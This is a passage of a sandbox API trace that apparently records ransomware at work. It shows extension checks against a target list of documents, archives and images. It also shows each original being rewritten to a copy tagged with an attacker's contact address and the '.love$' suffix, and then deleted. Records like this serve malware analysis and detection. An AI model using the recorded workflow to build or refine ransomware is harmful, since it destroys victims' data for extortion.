Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.826] lstrlenW (lpString=".doc") returned 4 [0283.826] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0283.826] lstrlenW (lpString=".docx") returned 5 [0283.826] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0283.826] lstrlenW (lpString=".pdf") returned 4 [0283.826] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0283.826] lstrlenW (lpString=".xls") returned 4 [0283.826] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0283.826] lstrlenW (lpString=".xlsx") returned 5 [0283.826] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0283.826] lstrlenW (lpString=".ppt") returned 4 [0283.826] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0283.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.826] lstrlenW (lpString=".zip") returned 4 [0283.826] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0283.826] lstrlenW (lpString=".rar") returned 4 [0283.827] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0283.827] lstrlenW (lpString=".bz2") returned 4 [0283.827] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0283.827] lstrlenW (lpString=".7z") returned 3 [0283.827] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0283.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.827] lstrlenW (lpString=".dbf") returned 4 [0283.827] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0283.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.827] lstrlenW (lpString=".1cd") returned 4 [0283.827] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0283.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.827] lstrlenW (lpString=".jpg") returned 4 [0283.827] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0283.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.827] lstrlenW (lpString=".doc") returned 4 [0283.827] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0283.827] lstrlenW (lpString=".docx") returned 5 [0283.827] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0283.827] lstrlenW (lpString=".pdf") returned 4 [0283.827] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0283.827] lstrlenW (lpString=".xls") returned 4 [0283.827] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0283.827] lstrlenW (lpString=".xlsx") returned 5 [0283.827] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0283.827] lstrlenW (lpString=".ppt") returned 4 [0283.828] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0283.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.828] lstrlenW (lpString=".zip") returned 4 [0283.828] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0283.828] lstrlenW (lpString=".rar") returned 4 [0283.828] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0283.828] lstrlenW (lpString=".bz2") returned 4 [0283.828] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0283.828] lstrlenW (lpString=".7z") returned 3 [0283.828] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0283.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.828] lstrlenW (lpString=".dbf") returned 4 [0283.828] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0283.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.828] lstrlenW (lpString=".1cd") returned 4 [0283.828] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0283.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0283.828] lstrlenW (lpString=".jpg") returned 4 [0283.828] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0283.828] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0283.828] lstrlenW (lpString="boxed-join.avi") returned 14 [0283.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.830] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=46622) returned 1 [0283.830] CloseHandle (hObject=0x35c) returned 1 [0283.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0283.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0283.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0283.831] lstrlenW (lpString=".doc") returned 4 [0283.831] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0283.831] lstrlenW (lpString=".docx") returned 5 [0283.831] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0283.831] lstrlenW (lpString=".pdf") returned 4 [0283.831] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0283.831] lstrlenW (lpString=".xls") returned 4 [0283.831] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0283.831] lstrlenW (lpString=".xlsx") returned 5 [0283.831] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0283.831] lstrlenW (lpString=".ppt") returned 4 [0283.831] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0283.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0283.831] lstrlenW (lpString=".zip") returned 4 [0283.831] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0283.831] lstrlenW (lpString=".rar") returned 4 [0283.831] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0283.831] lstrlenW (lpString=".bz2") returned 4 [0283.831] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0283.831] lstrlenW (lpString=".7z") returned 3 [0283.831] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0283.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[im.online@aol.com].love$")) returned 0 [0284.856] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.856] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0284.862] GetLastError () returned 0x0 [0284.862] ReadFile (in: hFile=0x37c, lpBuffer=0x35d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesRead=0x2abfecc*=0xd10, lpOverlapped=0x0) returned 1 [0284.873] WriteFile (in: hFile=0x380, lpBuffer=0x35d2020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesWritten=0x2abfc94*=0xd20, lpOverlapped=0x0) returned 1 [0284.875] ReadFile (in: hFile=0x37c, lpBuffer=0x35d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.875] WriteFile (in: hFile=0x380, lpBuffer=0x35d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1 [0284.876] SetEndOfFile (hFile=0x380) returned 1 [0284.876] CloseHandle (hObject=0x380) returned 1 [0284.876] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.876] SetEndOfFile (hFile=0x37c) returned 1 [0284.877] CloseHandle (hObject=0x37c) returned 1 [0284.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0284.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0284.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.879] lstrlenW (lpString=".doc") returned 4 [0284.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.879] lstrlenW (lpString=".docx") returned 5 [0284.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.879] lstrlenW (lpString=".pdf") returned 4 [0284.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.879] lstrlenW (lpString=".xls") returned 4 [0284.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.879] lstrlenW (lpString=".xlsx") returned 5 [0284.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.879] lstrlenW (lpString=".ppt") returned 4 [0284.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.879] lstrlenW (lpString=".zip") returned 4 [0284.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.879] lstrlenW (lpString=".rar") returned 4 [0284.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.879] lstrlenW (lpString=".bz2") returned 4 [0284.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.879] lstrlenW (lpString=".7z") returned 3 [0284.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.879] lstrlenW (lpString=".dbf") returned 4 [0284.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.879] lstrlenW (lpString=".1cd") returned 4 [0284.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.879] lstrlenW (lpString=".jpg") returned 4 [0284.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.880] lstrlenW (lpString=".doc") returned 4 [0284.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.880] lstrlenW (lpString=".docx") returned 5 [0284.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.880] lstrlenW (lpString=".pdf") returned 4 [0284.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.880] lstrlenW (lpString=".xls") returned 4 [0284.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.880] lstrlenW (lpString=".xlsx") returned 5 [0284.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.880] lstrlenW (lpString=".ppt") returned 4 [0284.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.880] lstrlenW (lpString=".zip") returned 4 [0284.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.880] lstrlenW (lpString=".rar") returned 4 [0284.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.880] lstrlenW (lpString=".bz2") returned 4 [0284.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.880] lstrlenW (lpString=".7z") returned 3 [0284.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.880] lstrlenW (lpString=".dbf") returned 4 [0284.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.880] lstrlenW (lpString=".1cd") returned 4 [0284.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0284.880] lstrlenW (lpString=".jpg") returned 4 [0284.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.881] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0284.881] lstrlenW (lpString="AN01060_.WMF") returned 12 [0284.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0284.881] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=7968) returned 1 [0284.881] CloseHandle (hObject=0x37c) returned 1 [0284.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0284.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0284.882] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.882] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0284.882] GetLastError () returned 0x0 [0284.882] ReadFile (in: hFile=0x37c, lpBuffer=0x35d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesRead=0x2abfecc*=0x1f20, lpOverlapped=0x0) returned 1 [0284.884] WriteFile (in: hFile=0x380, lpBuffer=0x35d2020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesWritten=0x2abfc94*=0x1f30, lpOverlapped=0x0) returned 1 [0284.885] ReadFile (in: hFile=0x37c, lpBuffer=0x35d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.885] WriteFile (in: hFile=0x380, lpBuffer=0x35d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1 [0284.886] SetEndOfFile (hFile=0x380) returned 1 [0284.886] CloseHandle (hObject=0x380) returned 1 [0284.886] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.886] SetEndOfFile (hFile=0x37c) returned 1 [0284.887] CloseHandle (hObject=0x37c) returned 1 [0284.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0284.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0284.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.888] lstrlenW (lpString=".doc") returned 4 [0284.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.888] lstrlenW (lpString=".docx") returned 5 [0284.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.888] lstrlenW (lpString=".pdf") returned 4 [0284.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.888] lstrlenW (lpString=".xls") returned 4 [0284.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.888] lstrlenW (lpString=".xlsx") returned 5 [0284.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.888] lstrlenW (lpString=".ppt") returned 4 [0284.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.888] lstrlenW (lpString=".zip") returned 4 [0284.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.888] lstrlenW (lpString=".rar") returned 4 [0284.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.889] lstrlenW (lpString=".bz2") returned 4 [0284.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.889] lstrlenW (lpString=".7z") returned 3 [0284.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.889] lstrlenW (lpString=".dbf") returned 4 [0284.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.889] lstrlenW (lpString=".1cd") returned 4 [0284.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.889] lstrlenW (lpString=".jpg") returned 4 [0284.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.889] lstrlenW (lpString=".doc") returned 4 [0284.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.889] lstrlenW (lpString=".docx") returned 5 [0284.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.889] lstrlenW (lpString=".pdf") returned 4 [0284.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.889] lstrlenW (lpString=".xls") returned 4 [0284.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.889] lstrlenW (lpString=".xlsx") returned 5 [0284.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.889] lstrlenW (lpString=".ppt") returned 4 [0284.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.889] lstrlenW (lpString=".zip") returned 4 [0284.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.889] lstrlenW (lpString=".rar") returned 4 [0284.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.890] lstrlenW (lpString=".bz2") returned 4 [0284.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.890] lstrlenW (lpString=".7z") returned 3 [0284.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.890] lstrlenW (lpString=".dbf") returned 4 [0284.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.890] lstrlenW (lpString=".1cd") returned 4 [0284.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0284.890] lstrlenW (lpString=".jpg") returned 4 [0284.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.890] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0284.890] lstrlenW (lpString="AN01084_.WMF") returned 12 [0284.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0284.890] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=1832) returned 1 [0284.891] CloseHandle (hObject=0x37c) returned 1 [0284.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0284.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0284.891] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.891] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0285.318] GetLastError () returned 0x0 [0285.318] ReadFile (in: hFile=0x37c, lpBuffer=0x35d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesRead=0x2abfecc*=0x728, lpOverlapped=0x0) returned 1 [0285.319] WriteFile (in: hFile=0x358, lpBuffer=0x35d2020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesWritten=0x2abfc94*=0x730, lpOverlapped=0x0) returned 1 [0285.321] ReadFile (in: hFile=0x37c, lpBuffer=0x35d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | 